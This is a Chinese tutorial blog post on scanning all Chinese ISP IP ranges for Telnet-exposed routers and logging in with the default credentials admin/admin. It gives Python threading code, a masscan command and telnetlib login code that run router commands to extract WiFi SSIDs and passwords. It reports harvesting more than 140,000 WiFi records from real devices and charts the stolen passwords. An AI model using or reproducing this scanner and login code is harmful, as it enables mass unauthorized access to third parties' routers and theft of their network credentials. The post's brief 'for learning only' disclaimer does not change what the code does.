如何扫描统计全国Telnet默认口令

zrools2016-01-21共339474人围观 ,发现 23 个不明物体系统安全终端安全

本文原创作者:zrools

本文中介绍的工具、技术带有一定的攻击性,请合理合法使用。

0×00 前言

在日常工作中,我们经常会遇到针对全国甚至针对全网对某一漏洞/安全事件做数据统计分析。这时我们该怎么做呢?在本文中,我将用Telnet弱口令给大家做示范希,望能唤起相关人员的安全意识,以提高网络空间的安全防御能力!

talk is cheap show me the code!

You say a JB without pictures?

0×01 准备数据

运营商IP段
在国内某网下载了国内运营商IP段数据(IPv4)
数据处理
下载回来每个运营商为一个txt文件,数据格式如下

183.0.0.0       183.63.255.255  4194304
36.96.0.0       36.127.255.255  2097152
49.64.0.0       49.95.255.255   2097152
113.64.0.0      113.95.255.255  2097152
115.192.0.0     115.223.255.255 2097152
180.96.0.0      180.127.255.255 2097152
183.128.0.0     183.159.255.255 2097152
220.160.0.0     220.191.255.255 2097152
14.16.0.0       14.31.255.255   1048576
14.112.0.0      14.127.255.255  1048576

将所有IP段合并为一个文件

awk '{print $1,$2}' *.txt | sort | uniq > ip.txt

将IP范围转为IP/掩码格式,主要是为了方便扫描软件载入

import netaddr

with open("ip.txt", "r") as f:
    for line in f:
        ip = line.strip().split()  
        prx = netaddr.IPRange(ip[0],ip[1]).cidrs()[0].prefixlen
        print(ip[0]+'/'+str(prx))

转换后格式

101.0.0.0/22
1.0.1.0/24
101.1.0.0/22
101.101.100.0/24
101.101.102.0/23
101.101.104.0/21
101.101.112.0/20
101.101.64.0/19
101.102.100.0/23
101.102.102.0/24

0×02 扫描

以下python版本为3.4

python 512线程直扫上行带宽约几百KB/s;直接上masscan、zmap这等扫描软件上行流量会暴走;具体要多少时间,可以拿少量数据测试算算!
2.1 使用python
使用python直接将IP按组遍历进队列,使用多线程循环扫描(也就是直接尝试登录),速度比较慢,但准确率相对较高

nloops = 256
ipQue = queue.Queue()
with open("ip.txt", "r") as f:
    for line in f:
        for ip in IPNetwork(line.strip().split()).iter_hosts():
            ipQue.put(ip);         # 调用多线
        for i in range(nloops):
            t = threading.Thread(target=getwifi)  # getwifi 为任务方法
            t.start()
            threads.append(t)         # 等待一轮扫描结束
        for i in range(nloops):
            threads[i].join()         # 删掉已扫描的IP段,防止服务重启或中途断开重启动重复扫描
        os.system("sed -i '/"+line.strip()+"/d' ip.txt")

2.2 使用masscan
先扫描得到23端口IP,然后一次性扔python进行多线程尝试登录,速度快,准确率较低,大致使用如下,具体参数自己定

masscan -p23 `sed ':a;N;$!ba;s/\n/ /g' ip.txt` --banners -oB port.txt

2.3 Telnet
尝试登录部分,直接try…except,超时、登录、读取任意一处超时或异常直接扔掉这个IP,具体超时时间自己看网络情况定

try:
    t = telnetlib.Telnet(host, timeout=TIMEOUT)
    t.read_until(b"username:", TIMEOUT)
    t.write(b"admin\n")
    t.read_until(b"password:", TIMEOUT)
    t.write(b"admin\n")
    t.write(b"wlctl show\n")
    t.write(b"lan show info\n")     # 获取BSSID
    t.read_until(b"SSID", TIMEOUT)
    strx = t.read_very_eager().decode('ascii')
    t.close()
    # 如果能获取信息,这里写处理代码(比如去重复插入数据库),strx为输出内容
except:
    pass

2.4 IP信息
将存到数据库的记录循环抽取调用淘宝接口更新地区等信息

http://ip.taobao.com/service/getIpInfo.php?ip=1.1.1.1

0×03 统计

总共有多少IP没多记录,所以端口开放率及成功率没法去统计了
数据库是mysql后端php处理返回json,前端使用d3.js生成图表,数据表结构如下:

以上是去年测试的数据

一轮扫下来获取为wifi记录14W+,可从已扫描的有结果中提取IP处理成IP段继续扫描,效率会大大提高

以下是万恶的各种TOP
3.1 长度TOP
先来看看丧心病狂长度TOP10,请允许我打一下码:

3.2 频率最高的口令TOP
X标签没有那个是无口令

3.3 口令位数与出现频率关系
已去掉空口令统计,1~7位估计是口令中出现了变态字符导致截断了-_-#

3.4 运营商TOP
貌似加起来都不够10个 -_-#

3.5 省份TOP

3.6 城市TOP

看多了棒子图,看看其他图形展示

0×04 常见口令规则比例

将数据一次性提取遍历正则统计,规则按以下几项

- 空
- 纯数字(日期/生日-yyyymmdd & 手机号-11位 & 其他)
- 纯字符(纯小写 & 纯大写 & 其他)
- 混合型(含日期 & 含手机 & 其他)

鼠标经过颜色块,展示相应数据

4.1 所有城市展示
一次性将所有城市展示出来,使用鼠标滚轮方法缩小,左图为缩小图,右图为放大图 (全景图1全景图2

4.2 全国分布
最后来个千篇一律的全国分布图(鼠标经过展示数据)

暂时就这么多,有兴趣可以试试其他有趣的展现方式!

ps:以上仅供学习交流,乱搞造成一切后果与本人无关!

0×05 参考

- 具体python实现:http://92ez.com/?action=show&id=49

- wooyun:http://www.wooyun.org/bugs/wooyun-2013-026776

如何扫描统计全国Telnet默认口令的更多相关文章

  1. 漏洞利用 Exploit---利用默认口令、IP假冒、应用漏洞

    漏洞利用 编辑 讨论 本词条由“科普中国”科学百科词条编写与应用工作项目 审核 . 漏洞利用(英语:Exploit,本意为“利用”)是计算机安全术语,指的是利用程序中的某些漏洞,来得到计算机的控制权( ...

  2. Telnet弱口令猜解【Python脚本】

    telnet 弱口令猜解脚本 测试环境:window2003.centos7 #! /usr/bin/env python # _*_ coding:utf-8 _*_ import telnetli ...

  3. 利用Axis2默认口令安全漏洞可入侵WebService网站

    利用Axis2默认口令安全漏洞可入侵WebService网站 近期,在乌云上关注了几则利用Axis2默认口令进行渗透测试的案例,大家的渗透思路基本一致,利用的技术工具也大致相同,我在总结这几则案例的基 ...

  4. Python Telnet弱口令爆破脚本及遇到的错误与问题

    写得时候遇到了一个很大的问题,就是我在发送用户名,接受用户名就会一直卡住.然后等了好久后提示 recv ‘\r\nSession timed out.\r\n\r\nTelnet Server has ...

  5. IPMI相关漏洞利用及WEB端默认口令登录漏洞

    IPMI相关漏洞 0套件漏洞 使用0套件时,只需要Username,口令任意即可绕过身份鉴别执行指令.而且一般还有一个默认的账户admin或者ADMIN. 备注:IPMI是一套主机远程管理系统,可以远 ...

  6. 利用Axis2默认口令安全漏洞入侵WebService网站

    近期,在黑吧安全网上关注了几则利用Axis2默认口令进行渗透测试的案例,大家的渗透思路基本一致,利用的技术工具也大致相同,我在总结这几则案例的基础之上进行了技术思路的拓展.黑吧安全网Axis2默认口令 ...

  7. ctfhub技能树—密码口令—默认口令

    打开靶机 查看页面内容 根据题目提示,去搜索北京亿中邮信息技术有限公司邮件网关的默认口令 尝试登录 成功拿到flag

  8. Acunetix引入了Docker支持,扫描统计信息以及将漏洞发送到AWS WAF的功能

    已针对Windows,Linux和macOS发布了新的Acunetix更新:14.2.210503151. 此Acunetix更新引入了Docker支持,针对每次扫描显示的新"扫描统计信息& ...

  9. 自古逢秋悲寂寥,奈何今秋热成雕?Python使用Pyecharts统计全国温度Top10并绘图

    秋词-刘禹锡 自古逢秋悲寂寥, 我言秋日胜春朝. 晴空一鹤排云上, 便引诗情到碧霄. 古人谈及秋天,都是悲凉寂寥,那么-.我好想回到古代的秋天啊!明明到了秋天,为什么最近的气温比夏天还热. 之前做天气 ...

随机推荐

  1. tp3.2控制器返回时关闭子窗口刷新父页面

    我的项目操作都是在子页面弹窗中执行,当我操作成功或失败时,都要关闭当前子窗口,刷新父页面: $this->assign('jumpUrl',"javascript:window.par ...

  2. C语言编译exe添加图标

    C语言是一门通用的计算机编程语言,可以直接编译为可执行文件.在windows下,可执行文件的后缀是exe,我们编写一个最简单的程序test.c: #include <stdlib.h> i ...

  3. Win10+CentOS7双系统引导修复

    在有Win10的系统下安装了CentOS7后,CentOS7的引导并不会像CentOS6一样自动加载入Win10驱动.难道是grub2不能引导Win驱动?查了一下资料原来是CentOS不能识别Win1 ...

  4. HDU 1847 Good Luck in CET-4 Everybody! (巴什博弈)

    题目链接:HDU 1847 Problem Description 大学英语四级考试就要来临了,你是不是在紧张的复习?也许紧张得连短学期的ACM都没工夫练习了,反正我知道的Kiki和Cici都是如此. ...

  5. linux下安装JMeter(小白教程)

    用windows平台测试时,会受到网络条件的影响,导致测试结果不够准确,尤其是高并发的情况下,需要能够精准的测试请求的响应时长,对于网络的要求更加苛刻.在这样的情况下,可以考虑在linux服务器端安装 ...

  6. 转 Jmeter如何把响应数据的结果保存到本地的一个文件

    当做性能压测时,可能会需要把响应数据的一些字段统计出来.这里简单介绍一下. 1.首先把接口调通,确定需要统计的字段,这里以统计ccmpSeq字段来做例子. 2.添加正则表达式提取器,用来提取响应结果中 ...

  7. SpringMVC_HandlerMethodArgumentResolver 实践

    HandlerMethodArgumentResolver  是什么? 就是用于解析参数的一个接口,springMVC(4.1)会直接调用这个接口的方法,对参数进行一定的解析.比如会在 Invocab ...

  8. C# winform 将其他程序嵌入Form窗体

    嵌入类 public class ExeImpaction { public void FrmClosing() { try { if (!process.HasExited) process.Kil ...

  9. 线性方程组迭代算法——Jacobi迭代算法的python实现

    原理: 请看本人博客:线性方程组的迭代求解算法——原理 代码: import numpy as np max=100#迭代次数上限 Delta=0.01 m=2#阶数:矩阵为2阶 n=3#维数:3X3 ...

  10. java性能调优02

    1.字符串优化处理 1.1 常量池的优化:当String对象拥有相同的值时,他们只引用常量池的同一个拷贝. String a="123"; String b="123&q ...